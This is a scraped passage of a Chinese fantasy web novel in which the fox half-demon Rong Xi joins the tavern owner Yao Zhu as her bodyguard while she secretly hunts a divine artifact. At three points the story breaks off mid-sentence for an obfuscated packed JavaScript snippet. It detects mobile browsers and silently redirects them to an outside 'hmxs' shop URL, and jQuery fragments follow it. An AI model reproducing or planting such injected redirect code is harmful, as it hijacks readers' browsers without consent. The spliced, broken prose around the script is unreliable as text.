木橙推开门,体内汗水如狂风暴雨涌出,湿透了后背。她扶着桌子,脚下汗水滴成一小滩洼地。脸上有些挂不住,“他跟我打成了平局。” “他是火系,你真身是柏木。他克你。” 姚烛从头到尾围观战局,洞若观火。她望向热气腾腾的木橙,倒了一杯水,“若不动内力,你或许能压制他三分。一旦动用内力,你必输无疑。他是故意激你斗内力的。” 木橙阴沟里翻船,难免不爽。 “臭小子!”木橙一拳捶在桌子上。 “人才难得,好好教,他日必成大器。” “你要留下他?”木橙愕然望向姚烛。 “你都应下了,我岂能出尔反尔。” “你不是说你不要小白脸。” “他既有胆魄,何必拘泥于细节。” 她给了他机会离开,他却主动送上门来。 这样执拗,不达目的誓不罢休的人,或许能在险境中活下来。她需要护法,也需要帮手。 擂台上热闹收场,众人散去。今日比试可谓酣畅淋漓。容溪一战成名。这是何掌柜始料未及的事情。姚烛找来何掌柜,问起容溪的底细,“他为什么来应征护卫?” “他说家里穷,出来找活干。” “就要他了。”姚烛点了点花名册,只勾容溪的名字。 “这……”何掌柜迟疑了下,不理解姚烛为什么一会儿要他,一会儿又不要他,“您确定?” 姚烛移过烛台,抽出一张信纸。上头调查了容溪的来历。 信上说,容溪不是本地人,七年前跟着父亲海上逃荒来到海云镇。 父子俩相依为命,日子过得很拮据,他们住在石头巷,租一户姓钱人家的院子。容溪的父亲名叫景牧遥,在戏楼里混饭吃,负责给客人讲解戏文,聊天解闷。戏楼生意不好,经常拖欠工钱。他们欠了东家的房租,东家的媳妇儿时常骚扰调戏他爹。 因为景牧遥长得很标志,又是鳏夫,经常有媒婆上门劝其卖身入赘。为此闹得沸沸扬扬,容溪还打伤过一个媒婆,赔了许多伤药钱。总之,他们家的账一塌糊涂,日子过得乱七八糟。为了挣钱容溪到处找活干,跑船的活儿也是熟人介绍的。 后来风暴频繁,海运被禁。 容溪迫不得已重新出来找活。 总之,他的来历背景一目了然,十分简单。姚烛将信件从头到尾翻看了一遍,没有发现什么疑点。至于来海云镇之前的经历,就不得而知了。 “我与他斗法,”木橙不得不提醒她,“他的修为少说有四百年。” “那得磕不少丹药吧。”何掌柜惊叹。 “他才十七岁,根本不可能拥有这么强的修为。火系半妖中,最强的是凤凰一族,容溪狐族出身,属性值上限已经锁死。再怎么修炼也很难突破。他的属性值不应该超过测试球的极限。除非他磕了大量丹药,他哪来那么多钱买药?” 容溪家境贫苦,若没钱买,就是自己抓妖炼丹了。炼丹少说五成损耗。靠这种法子强行堆出四百年修为,手上得沾多少血? 木橙条条分析,鞭辟入里。最后盖棺定论,“这小子绝对有问题。” 姚烛移过烛台,将方才看完的信纸烧掉。她并不在乎那些。每个人都有不为人知的过去,何必连根拔起,揭开鲜血淋漓的一面。火苗舔舐信纸,在她眼眸中闪烁不定。 姚烛陷入过去的回忆中,轻声道:“很久以前,我也养过一只狐狸。比容溪年纪大些,喜欢吃鱼。后来死了。狐狸有时候很聪明,有时候又很愚蠢。” “你喜欢聪明还是愚蠢?”木橙问道。 “我喜欢有良心的人。”残缺信纸失手坠落,化作一片灰烬。姚烛垂下目光,什么都没有在看,她对着自己阴暗角落的影子,轻轻笑了一下,“人都喜欢自己没有的东西。 4. 老板的来历 酒馆面朝大街,背后坐落着一处宅院。厅房花园齐全,错落小楼,芭蕉阔大的叶子重重叠叠,遮天蔽日,宛如一座翡翠森林。 何掌柜带着容溪穿过浓荫,边上楼梯边道,“这就是我们老板的书房。” 护卫人选敲定后,容溪一大早赶到绿台。何掌柜带他去拜见老板。据说老板姓姚,性情温和,对待底下人宽仁为怀。何掌柜叮嘱他不必太拘谨,伸手敲门,“老板,容溪来了。” 里头静了一会儿,传出女声,“进来。” 书房内布局开阔,陈设典雅。以山水屏风隔断做两间。 外间会客,置黄花梨木椅,墙上挂着几幅花鸟画。侧立博古架,上头陈列各色古玩玉雕。里间装潢更加精致小巧,立着一面墙的高大书柜,窗下置书案,檀木架悬挂毛笔林,两方古砚,镇纸压着雪浪似的纸片。风吹得纸片猎猎翻飞。 观音瓶中插着几支娇艳欲滴的水仙花。姚烛坐在花瓶后头,手持古卷。身着青茶色衣裳,袖口半挽,白净腕骨上戴着只乳清水晶玉镯。 容溪嗅到了一阵似曾相识的冷香。 姚烛在书桌前抬起头,目光透过水仙花,望向容溪。 何掌柜道:“想着您事忙,先带他来见见。” 他给容溪递了个眼神,“这是我们姚老板。” 容溪眼神直勾勾地盯着姚烛。 何掌柜咳嗽提醒他,容溪回过神,垂下了目光,道:“老板好。” 姚烛放下手中书卷,道:“老何,你先下去。” 何掌柜道:“是。”他转身离去,并关上了房门,留二人独处。 他们不是第一次见面,气氛微妙。 姚烛为容溪倒了杯茶,道:“坐。” 容溪道:“不用了。” 自尊心挺强。姚烛踱着步子与他擦肩而过,走到窗下。挽袖拾起长勺,为花盆里奄奄一息的茉莉浇水。“既然说我不是好人,何必来做我的护卫。” 容溪找活干,发现绿台真招护卫,月钱给的很高。脑子一抽风,报了名。上台前何掌柜忽然告知他不招小白脸,激得他恼羞成怒,非得试试看。结果不出意外,选上了。 姚烛瞧了他一眼,意味深长。 容溪受了奚落,脸上讪讪的,半天才憋出一句,“我只想卖力气挣钱。” “可做我的护卫,不仅要卖力气,还要卖命。你想好了吗?” “我出海工钱是一两。我的命不值钱。” “那船老大竟这般黑心。”姚烛浇完花,哂笑一声。 海云镇这个穷地方,工钱普遍低,容溪习以为常,不觉得有什么。倒是绿台拿出这么多银子招护卫显得反常。他来时注意到酒馆生意冷淡,客人稀少,不知怎么摊平这一堆花销。她书房的摆件样样瞧着价值不菲,茶也是上好的毛尖。 容溪心里对她的疑惑有增无减。 姚烛道:“好好干活,我不会亏待你的。” 姚烛道:“下去吧,今天没事。” 容溪转身离去。走到门口他脚步顿住,想起什么,回头,“能告诉我,你叫什么名字吗?” 姚烛道:“姚烛就是我的真名。” 容溪道:“我想知道是哪两个字。” 姚烛道:“女字旁的姚,烛火的烛。” 姚烛两个字,似乎带着点火星子,迸到他心里,烫穿了,将他浑身皮毛燎透。 容溪脚步匆匆离去,像是落荒而逃。生怕再迟一步背影就会暴露出异样。他跑到楼下,背靠芭蕉树,呼吸比往常稍微急促些。怎么会这么巧…… 于他而言,在海上碰到的女子是个过客。 而姚烛这个名字,意义重大。 回想从小到大这么多年,父亲在他面前提起姚烛的次数似乎比母亲还多些。 “如果姚烛还在就好了。”父亲常常这样感慨。 容溪从小与父亲相依为命。在父亲口中有个频繁提起的存在。那人叫姚烛,曾是他们家的中流砥柱。她喜欢吃辣,会炼丹炼铁盖房子,为上千人锻造过武器。父亲蒋她描述得那样强大,无所不能。可在他们最需要帮助的时候她却消失得一干二净。 兜兜转转,容溪长大了,挨过了最艰难的时刻。 她却以一种意想不到的方式出现。 绿台的姚老板,和父亲记忆里的传说人物,真的是同一个人吗? 容溪仰头望天,心也跳得很快。 “容溪。”何掌柜的声音打断了他的思绪。 容溪回过头,压下纷乱心绪。何掌柜朝他走过来,“老板有什么吩咐?” 容溪很快恢复了平静,“她说今天没事。” 何掌柜道:“那正好,我带你去库房领些东西,顺便看看住的地方。” 容溪道:“好,有劳。” 往事有待查证,他已经进入绿台,以后有的是机会。 不必操之过急。慢慢来,总会查清楚的。 他一定会查个水落石出。 …… “我可不跟他一间。” “他上来就得罪了木橙姐,以后肯定没好果子吃。” “是啊,掌柜的,你千万别把他分到我这。” “……”走廊中,窃窃私语声不断。房间里探出一排韭菜茬儿似的脑袋。待何掌柜和容溪靠近。那些脑袋一溜烟缩回去。砰的一声,门也关上了。 没人愿意跟容溪住,来找掌柜的说情。掌柜的经不得这帮猴崽子软磨硬泡。 正好,杂物间还能腾出来一间。 “到了,就是这儿。”何掌柜掏出别在腰间的大串钥匙。 容溪端着一个木盆。他刚从库房领完东西,盆里堆着刚领用的毛巾皂荚茶壶等物。 走廊偶尔经过一两个人,都是绿台酒馆的伙计们。他们嘴上问候“何叔好”,目光不经意掠过何叔身后的容溪。都知道这位狠人跟木橙打了个平手。 “你以后就住这儿。”何掌柜边摘下铜锁,边推门,“好久没人住了,得收拾收拾。不过地方宽敞,你一个人住倒清净。”门被什么东西堵住,第一下没推开。 容溪放下盆,用肩膀顶着,一撞。 门后传来柜子倒地的声响,稀里哗啦的,摔在地上。 这件屋子闲置已久,堆满杂物。地方倒还算宽敞明亮,通风良好。窗户竟然是朝阳的。下摆着一盆濒死的垂丝茉莉。何掌柜道:“那是老板养死的,不要了。你喜欢可以留着。” 何掌柜一面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922919|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾杂物,一面絮絮叨叨:“来了绿台,把这儿当成自个家。” 容溪才来,得罪了木橙,工钱又开的那么高,自然不受众人待见。他日若有一点差错,便会被人捏住把柄。木橙是个眼里不容沙子的主儿。她雷厉风行,有老板撑腰。何掌柜也得让她三分。如果新来的出了岔子。何掌柜不好交差。故而丑话说在前头,先敲打容溪。 人想在一个新地方站稳脚跟,可不能全靠蛮力。 容溪老老实实听完他的训诫,道:“他们都叫你何叔,我以后也叫你何叔。” 这态度还算上道,不像个愣头青。 何掌柜多看了他一眼,问道:“你说你家就两口人,你娘呢?” 容溪道:“过世了。” 何掌柜问:“你爹做什么营生?” 容溪道:“给人跑堂。” 何掌柜年轻的时候也干过跑堂,知道那是个赔笑脸受夹板气的苦差。一个鳏夫干着辛苦活,将独子拉扯大,也不容易。瞧容溪干活的麻利样子,应该是过惯苦日子的。 何掌柜叹道:“都不容易啊。” 容溪趁势搭茬,问道:“这家酒馆开了多久了?” 何掌柜道:“三十年了。” “听说原先的东家不姓姚。”容溪得知自己入选后,特意打听了绿台。 “姓孙。”何掌柜打开了话匣子,也没防备,随口说起往事,“我那老东家晚年糊涂,被人做局欠了一屁股债,上吊了。债主搬空酒馆里所有值钱的东西。伙计们全跑光。债主让我滚,我在这干了大半辈子,不知道自己该往哪滚。” “那天下暴雨,两位姑娘路过进来避雨,要酒驱寒。我说店里没有酒,只有白水。她说白水也好。我给她们倒完水就去后园上吊了。醒来发现自己没死,她们救了我。” “她们给我一笔钱,说绿台这名字不错,倒闭了可惜,让我拿着钱选个黄道吉日重新开张。那两位姑娘就是姚老板和她的丫鬟木橙。” 如果没有姚烛,绿台早已被债主收走典卖。是她让何掌柜和这家酒馆起死回生的。何掌柜至今感恩戴德。他用心经营酒馆,报答人家大恩大德。可是酒馆生意越做越差,老板还得往里倒贴钱。何掌柜十分汗颜。每次去报账都有点抬不起头来。 容溪听完绿台的来历,暗自思索。 “难怪她们看着不像本地人。” “没人知道老板的来历。”说到这,何掌柜回过神,瞥向他,“我没问过,我劝你也别打听。” “哦。”容溪适时收回话头,点到为止。 “老板脾气好,从不发火的。”何掌柜并未将他的打探放在心上,新来的,总得了解了解情况。出于好意,他提点了两句,“但你见了木橙姑娘客气些,别得罪她。她喜欢干针线活。” “针线活?”容溪好奇。这词用得很考究。 “就是把人切开再缝上。” “……”听着像句善意提醒,可说的有些晚了。 容溪心想,他已经得罪了木橙。 何掌柜拍拍他肩膀,笑了笑,怕吓着他,又补上两句无关痛痒的安慰,“没事,跟老板处好关系,还有得救。她听老板的。” 容溪点点头,表示自己记下了。 5. 逛街小郎君 容溪正式安顿下来,第二天起了个大早,去姚烛楼下候着。做护卫就得有个做护卫的样子。姚烛刚睡醒没多久,下了楼。她看见容溪站在檐下。 容溪穿着一身墨绿色衣裳,料子旧,样式也不时兴。他家境贫苦,可能是继承了父亲的旧衣裳穿。他个子高挑,又年轻,这颜色太过沉闷,像把一根顶天立地的竹子包在笋衣里。算不上难看,但剥了显然会更好看。 姚烛注视着他玉石般白净的脸。容溪生得浓丽眉眼,眼尾狭长,呈狐狸形态微微上调。瞳孔是淡蓝色的,清透干净。脸骨轮廓却十分锋利,像鞘中的刀杀出了埋伏,血珠子从细细的刃上滚落。给人一种猝不及防的冷和烫。 矛盾气质在他身上浑然天成,那双眼太具有迷惑性。 姚烛问道:“昨晚睡得好吗?” 容溪点点头。 姚烛想了想,今天没什么事要出门。不过人家初来乍到,这样积极,晾在一边有些打击人。正好今天天气晴朗,她临时起意,“走吧,陪我出门逛逛。” 老板去哪,作为一个合格的护卫,是没必要多问的。 容溪二话不说跟在姚烛后头。 外头阳光灿烂,何掌柜给容溪拿了一把伞,叮嘱他老板怕晒。容溪会意,撑开伞,为姚烛遮挡阳光。二人一同出门,漫步于熙熙攘攘的街头。 海云镇位于九州的最东边,临海背山,土壤贫瘠,粮食产量稀薄。自古以来便是兵家不争之地,好在坐船出海跑买卖的人多。市集上常出现玻璃瓶、千里眼、波斯毯等外来货,琳琅满目,倒也新鲜热闹。卖各种小玩意的摊贩沿街叫卖。 时不时有人向姚烛兜售东西,满脸堆笑,“姑娘,买盒香粉吧。” 小贩挎着小篮子,五根手指头里夹着四个盒子,追在他们后头。 姚烛婉拒说不用了。 那人揩了香粉往她脸上抹,“您试试,可香了。” 容溪夹住小贩的手腕,往外一推。那人踉跄退了几步,手不稳,香盒差点全摔了。容溪的态度拒人于千里之外:“不买。” 小贩朝他翻了个白眼,嘟囔道:“不买就不买,凶什么凶。” 有容溪镇着,剩下兜售的小贩也都退避三舍,不敢再胡乱挤上来。姚烛看了容溪一眼,这小子还挺有自觉和眼力见。她得了清静,惬意逛着。好久没出门,街上卖的东西越来越新鲜。她对吃的玩的用的兴趣不大,逛到最后,只买了些花草树木的种子。 虽然她养什么死什么,但万一呢…… 容溪一只手打伞,一只手帮她提东西。 他从未陪女子逛过街,周围总是有许多道目光瞟来。 昨天离家前,父亲叮嘱他:“给老板干活,手勤快,嘴巴甜些,才招人喜欢。别老是木着一张脸。你小小年纪装什么深沉。你爹我这么大岁数都还没深沉起来呢。” 容溪并没有装深沉。他只是习惯了面无表情,独来独往,与人群中的空气融为一体。最好这世上没有容溪这个人。透明让他感到安全。陪姚烛逛街有些过于引人注目了。容溪硬着头皮坚持了一会儿,屡次欲言又止。 姚烛看出他憋着话,道:“想说什么,可以直说,不必藏着掖着。” 容溪忍不住道:“你为什么不戴面纱出门?” 姚烛道:“这么热的天,我为何要戴面纱?” 容溪看她一眼。她在海上刺杀雀王时,用的不是这张脸,气息也截然不同。通缉告示上的画像和她真实模样相去甚远。她既有办法逃出生天,根本没必要告知容溪自己的真名。容溪也以为“绿台酒馆老板姚烛”这个身份是假的,没想到她竟然句句属实。 她如此坦诚,难道不怕他去检举她吗? 还是她运筹帷幄,算定了他会上她的贼船,故而无所畏惧。她到底为什么那么自信? 姚烛等待他的后文,凑近些许,“在想什么?” 容溪心脏漏跳了下。 四目相对,他慌忙错开视线,假装自己什么话都没说。 不知不觉走了半天。姚烛被一家成衣店吸引目光。伙计热络招呼,迎他们入内,道:“姑娘里边请,刚到了一批时兴的布料,您看看喜欢什么纹路颜色?” 姚烛陷入花红柳绿的海洋,回头问容溪:“你喜欢什么颜色?” 容溪收了伞,抄手靠在门口。他没想到姚烛会问自己这个问题。他对衣裳布料颜色搭配一无所知。如果要聊这个,应该找那个叫木橙的丫鬟陪她来才是。 “这个暗红色如何?” 姚烛在伙计的推荐下,选了一块料子。她望向容溪,“你喜欢吗?” 容溪看了看布料,又看了看姚烛。不明白她买衣裳为什么要问他喜不喜欢。 “问你话呢。”姚烛见他老是发呆走神,拿了颗布头扔他。 布头直奔面门。容溪人没反应过来,手先接住了。 姚烛道:“手挺快啊。” 容溪看了一眼手心的布头,不知如何回答。 姚烛却耐心等着,认真索要他的答案,道:“到底如何?” 长久的沉默让气氛变得有些尴尬。容溪干干巴巴挤出两个字:“都行。” 店铺空间狭小,花花绿绿的布料挡住无数道窥视的目光。 姚烛走到容溪跟前,握着一块布往他身上比划,手指头像蛇一样碰到他的腰。她手指修长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922920|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指骨细而薄,皮肤素白,指甲透着点粉色。每次触碰让人浑身紧绷。容溪低头时,能看清她耳尖上细微的绒毛,以及耳背后红润的柔软肌肤。 两人离得很近。容溪的后背撞到了架子上,有一块布掉下来。他想捞,却不便动弹,伙计忙跑过去捡起来,道:“没事没事,我来收拾。” 姚烛道:“跟着我,可以一天换一件衣裳。” 他一个护卫,穿那么显眼做什么?容溪愣在那,想起她昨天说的“不会亏待你”。 姚烛给他裹衣料的姿势像是要把他包粽子一样包起来。 铺子里全是布,热得慌。他浑身汗毛都竖了起来。伙计觑着他,既是艳羡又是笑,见缝插针道:“小郎君真是好福气。夫人这么疼你。” 容溪眼角微微抽动,想推开她跑掉,抗拒道:“不用。” 姚烛道:“你是我的护卫,代表我的脸面。我买什么你穿什么。” 她出钱,她是老板,不容得拒绝。 结账的时候来了句“你要是不喜欢可以扔了”。 容溪哑口无言。他张了张嘴,下意识想拒绝。可姚烛已经撂下银子走了。为几件衣裳在店里争辩未免矫情,加上伙计煽风点火,把他认成吃干饭吃得很别扭的小白脸,一个劲儿夸姚烛好,劝他知足惜福。他无从辩解,浑身长嘴也说不清楚。 最后容溪迫不得已,拎着大包小包,在伙计羡慕嫉妒恨的目光下离开。 他快步追上了姚烛的步伐。 回到绿台,容溪夜不能寐。他躺在一堆新衣裳中间,望着房梁出神。 “父亲,姚烛到底是谁?”脑海里回响着过去的对话。 “要有礼貌,你应该叫她姑姑。”父亲不厌其烦,纠正他的称呼。 “她也是狐族吗?”容溪追问。 “不是。” 姚烛不是狐族,跟他们没有血缘关系。但父亲让他叫她姑姑。 姚烛在他们家的地位太高了。明明家里没人吃辣。过年的时候父亲却要做一道辣子鸡丁怀念她。食物很珍贵,不能浪费。父子俩只能勉为其难吃掉这盘辣子鸡丁,呛得直流眼泪。清明节父亲常常忘记要给母亲烧纸,可过年从不忘记做辣子鸡丁。 容溪孩童时代,能追溯到的最久远的记忆,是一条宽阔溪流。 溪畔开满鲜花,晴光照着粼粼水面。有人在岸边打了一个长长的水漂。他试图看清对方的模样。那人却抛下他,独自走远。容溪坐在花海里,被身后温暖的臂弯紧紧搂住。他嗅到浓烈花香,无法判断走远的那道背影属于姚烛,还是身后的拥抱来自姚烛。 唯一确定的是,这个人原来在他身边,后来不在了。 6. 各自小算计 容溪早睡早起,换了一身昨日买的新衣裳,来到姚烛楼下。楼上无人传唤,他等了小半个时辰。木橙路过,瞧见他玉树临风立在那,人年轻果然穿什么都精神,难怪老板管他叫小白脸呢,长这么招摇,还是个狐狸。 木橙输他一次,看他有点不爽。一个护卫打扮成这样是要勾引谁。 木橙阴阳怪气道:“哟,起这么早?” 容溪来绿台,一半是为调查姚烛,一半是为挣钱养家糊口。在没有达到目的之前,他不会主动跟任何人结仇。何掌柜的劝告他听进去了。面对木橙赤裸裸的敌意,他安之若素,表现得不卑不亢,问道:“她今天出门吗?” 这个她,自然指的是姚烛。 木橙冷冷道:“不出,忙着炼丹呢。” 容溪尚未摸透姚烛的出门规律,便早来候着,等吩咐。 原来姚烛除了当酒馆老板以外,平常还会炼丹。 容溪不动声色接受了一个新信息,抬起眼,又问道:“炼丹需要帮手吗?” 他怎么这么殷勤呢,陪逛街还想陪炼丹。他一个人全陪了,还要丫鬟干什么。木橙起了几分忌惮之心,总觉得这小子想登堂入室,排到她前头去。当了姚烛那么多年的丫鬟,出现一个让她产生危机感的人,木橙语气难免冲了点:“不需要,有事会叫你。” 容溪被怼了,也没生气。 他犯不着跟木橙起冲突,想了想,道:“好。” 他转身离去,走到半道上,被木橙长腿一迈拦住去路。 木橙故意挑衅:“我让你走了吗?” 容溪转过目光望向木橙。上回打擂台他逼她斗内力,强压她一头,才获取进入绿台的资格。这事还没过去呢。木橙抱着手臂,身后高马尾晃晃悠悠,姿态看似闲散,实则蓄势待发。木橙踱着步子转圈打量他,问道:“见了姚烛叫老板,见了我,知道叫什么吗?” 容溪沉默片刻,思考伙计们对她的称呼,挤出三个字:“木橙姐?” 木橙道:“不,叫老大。”一声姐怎么道出她的威武?老板之下,她是老大,他是小弟。排资论辈一目了然,这才听着顺耳。 容溪觉得这称呼听起来像个女土匪,怪怪的。 木橙却很起劲:“叫声来听听。” 容溪道:“老大。” 木橙听舒坦了,笑道:“以后记清楚了,别叫错了。” 容溪神色复杂地看了她一眼。他总觉得,姚烛的丫鬟似乎不怎么聪明。 木橙被他这么一叫,自尊心得到极大程度的安抚,心情好了许多,看容溪这身鲜艳夺目的打扮也顺眼起来。既然他识相,自己一个做老大的,就没必要跟个小弟计较了。 “你认识我们老板吗?”木橙收敛玩笑心思,说回正事上。 “认识。”容溪道。 “我是说你进入绿台之前,你们见过吗?” 见过,在雀王的船上。或者说更久远以前,他幼年时候,姚烛曾留下模糊印象。容溪脑海里闪过支离破碎的画面,他敛目,说出心口不一的话,“没有。” 木橙点点头:“这就对了。”她拍拍容溪的肩膀,语重心长,“既然决定加入我们,有些事,就该烂在肚子里。” 容溪立即反应过来她指的是雀王之事。 木橙作为姚烛的心腹,船上发过的一切,两人必定通过气。雀王大船被烧一案仍在稽查当中,姚烛套了面具行凶后逃出生天,只有容溪目睹。他是唯一知晓她所作所为之人。 木橙揽着容溪肩膀,哥两好的架势,笑面虎似的:“我木橙心胸宽大,擂台上的过节就过去了。你若识相,今后咱们就是出生入死的兄弟。你若存了二心……”她做了个手抹脖子的威胁动作,目光锐利,翻脸如翻书,“那就别怪我。” 容溪已经上了贼船,成为她们的同党。去巡检司揭发姚烛,他也脱不了干系。 他没有那么愚蠢。容溪对木橙的拉拢和威胁照单全收。既然决定加入绿台,他肯定做好了心理准备。既然木橙主动提及此事,他见四下无人,便单刀直入,问了句:“那么请问老大,老板为什么要挖雀王的心?” 他一直在思考,姚烛为何要刺杀雀王,仇杀还是拿钱办事? 木橙招手示意容溪靠近,悄悄道:“实话告诉你。你可千万别告诉别人。咱们老板,是只千年老妖。得吃大妖的心脏,才能保容颜永驻。” “她挖心是为了吃?” “可不是。”木橙理所当然的语气。 自陆皇一统九州,人人祖上都沾了点妖族的血统。容溪是狐系,木橙是树妖系。容溪进入绿台后,特意观察了一番。这里的掌柜和伙计们有虫系有犬系有鸟系,唯独姚烛例外。他昨天盯了姚烛一天,愣是没瞧出她的本体是什么。 一般只有修为低下的看不出修为高强者的本体。 姚烛要是修为远高于他,那么强悍厉害,又何必找他做护卫呢?容溪不明白她看上自己哪一点。如果是为雀王之事,她大可杀他灭口永绝后患。如果姚烛是个异食癖,这里头似乎还有猫腻,容溪疑惑:“你们招我,是想让我也去挖别人的心吗?” 木橙觉得他有些傻得可爱,笑道:“怎么会,那种脏活累活,老板自己会干,轮不到咱们。” 容溪更好奇了:“那我做什么?” 木橙道:“你是火系,我们马上要去一个很热的地方,需要你护法。” 容溪立即问:“什么地方?” 木橙卖了个关子,“到时候你就知道了。” 她看了容溪一眼,意味深长,神神秘秘。 容溪目送她背影大摇大摆扬长而去。心中狐疑更深。姚烛到底想要他做什么呢?这两人葫芦里到底卖什么药? 炼丹房,屋内摆着一只丹炉。 炉子上下两头连通烟道,通往地窖外,可排风送气。木橙推门而入,低头钻过那些复杂的管道。只见姚烛立在台前,手里提着一杆巴掌大的小称,称中堆着白色粉末。旁边是一排堆满瓶瓶罐罐的立柜,木架上插着一丛玻璃管,坩埚等复杂仪器。 姚烛戴着面罩和手套,头发也整个挽起,用布包住,只露出两只黑亮的眼睛。 木橙随手摆弄玻璃管,敲了敲,听那脆响。她在姚烛面前向来肆无忌惮,张口就道:“那小子怎么傻里傻气。我告诉他,你挖雀王的心是为了吃。他还真信了。” 姚烛摘下她手中玻璃管,“你除了胡扯外能干点正事的吗?” 木橙道:“我总不能直接告诉他,挖雀王的心是为了找神器。” 姚烛给她递了一个警告的眼神。 木橙举起手。炼丹房里的东西,姚烛从来不让人碰。 木橙只有进出的自由。 姚烛道:“退后。” 木橙退了一丈远,有些无奈,“我不碰总行了吧。” 姚烛不理她,自顾配料。炼丹的时候必须专心致志,木橙老是中途闯进来说话。因为姚烛一进炼丹房就得待上十几个时辰。木橙实在等不及,有话必须马上说。木橙抱着手臂靠在旁边木柜上,道:“我还是不明白,神器一事至关重要。你为何要拉一个毫不相干的人入局。” 姚烛简明扼要道:“他是火系,天赋高。” 容溪的天赋,木橙亲身领会过,知道这是个打着灯笼都难找的好苗子。像容溪这样的火系天才少年,能被她们捡到那是走了大运。可问题的关键是,这也太巧了吧。她们刚好需要火系护法,容溪就突然冒出来,而且还是姚烛在雀王的船上认识的。 “你为何笃定他不会出卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922921|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们?” “陆家悬赏金那么高,”木橙不得不多问一句,“你真不怕他走漏风声?” “他不会。”姚烛穿梭于木架丛中,气定神闲,取料,称量。 “为什么?”木橙就纳了闷了。姚烛怎么那么信任容溪。 “他小小年纪,如此天赋异禀,却甘愿囚在海云镇这么个小地方为人奴役。”姚烛将所有粉末都倒进坩埚中,沿着顺时针搅拌,抛出问题,“你觉得是为什么。” 木橙挠了挠额角,莫名其妙:“这我哪知道。” 姚烛剖析原委,入木三分,“说明他有不得不蛰伏隐忍理由。或是躲避仇敌祸患,不能暴露真实身份。一旦揭发我,跟官府和陆家有了牵扯,就等于将自己置身于危险当中。那笔赏金在没到手之前便会招致滔天大祸,他不敢。” 隔着丹炉,紫红色火焰熊熊燃烧,姚烛的面庞泛动,像水面皱了的影。木橙无法透过滚烫的空气看清她真实的五官。姚烛调□□箱的进气口,垂落的目光紧盯着刻度,娴熟自然,“我看见容溪的第一眼,就知道他是能助我一臂之力的人。” 姚烛有时候非常自负。 在船上,他们不过一面之缘,姚烛就主动暴露了身份。 “他自己知道吗?”木橙反问。 “知道的。”姚烛语气镇定。 容溪目睹她刺杀雀王,追着她游了一夜。 他一定有很多好奇,震撼以及困惑。在强权奴役碾压一切的世道里,怎么能有人敢徒手掏出雀王的心。作为纯粹的底层,他长到这么大,吃过多少苦,擦地板的动作那么熟练。他不在乎大人物的死活,但他好奇姚烛的动机。 既然权贵可以肆无忌惮吃掉弱者的血肉,操纵他们的躯体,买断他们的时间。那么弱者为什么不能反过来,也去吃掉权贵的心。 不管不顾追上岸,疯了一般,索求答案。冷静后他才惊觉,靠近姚烛是相当危险的。 面对姚烛抛出的橄榄枝,他断然回绝。几天后又改变了主意,找到绿台,做出追随姚烛的决定。这个转变的确有些突兀。 姚烛也不太能确定他的心路历程。但看着容溪的眼睛,她能读出强烈的压抑和不甘。似乎这么多年来,他都在等一个契机,甘愿忍受碌碌平凡生活。直到大火焚船那刻,他意识到姚烛就是那个能改变自己命运的人,毫不犹豫跳下船来。 他和姚烛一样,都是孤注一掷的赌徒。 听完姚烛分析,木橙还是一头雾水,满脑子问号。感觉这两人莫名其妙就看对眼了。压根没有道理。木橙坚持己见:“你怎么想我不管,但我老觉得他别有所图。” 姚烛不以为意:“那又如何?” 少年人心气高傲,欲望满身,乃是寻常事。容溪这个年纪想做皇帝都不稀奇,姚烛没觉得有什么问题,她已经认准了这个人。 姚烛关闭风箱,将坩埚置于炼丹炉中。她目光沉静平和,对自己要做的事情充满确定性,“只要他能助我成事,富贵名利,通天修为,我都能给。” 这样狂妄的话,从姚烛的口中说出来,就是会成真。 木橙望着姚烛淡如水的神情。 许多年前,姚烛也曾对她说过类似的话。她信了。 容溪加入她们已经成了板上钉钉的事。 姚烛说一不二。木橙有质疑的权利但没没有驳回的权利。这步棋是福是祸谁也说不好。大家各取所需。希望容溪是个聪明人,不要拖她们后腿。 “行吧。”木橙终于放弃辩经,反正她说不过姚烛,也无所谓。多个人干活她巴不得呢。“既然你这么看好他,那就收下他吧。” “别为难人家。”姚烛敲打木橙。 “怎么会,”木橙忍俊不禁道:“我怎么会为难我的小弟。” 7. 关店避风头 姚烛炼制一炉丹药,交由木橙卖得五千两。充入账房。先将伙计工钱和酒馆货款结了,剩余部分做公用。何掌柜拿着这钱有些烫手,自觉无能,叹气连连。 他斟酌了许久,忍不住对姚烛道:“如今酒馆生意冷淡,入不敷出。您一味填补也绝非长久之计。我想了两个开源节流的法子。一是裁减伙计,二是将后楼空屋子租售出去。多多少少能填补些家用,您意下如何?” 姚烛精通炼丹,常炼来换钱,解绿台燃眉之急。 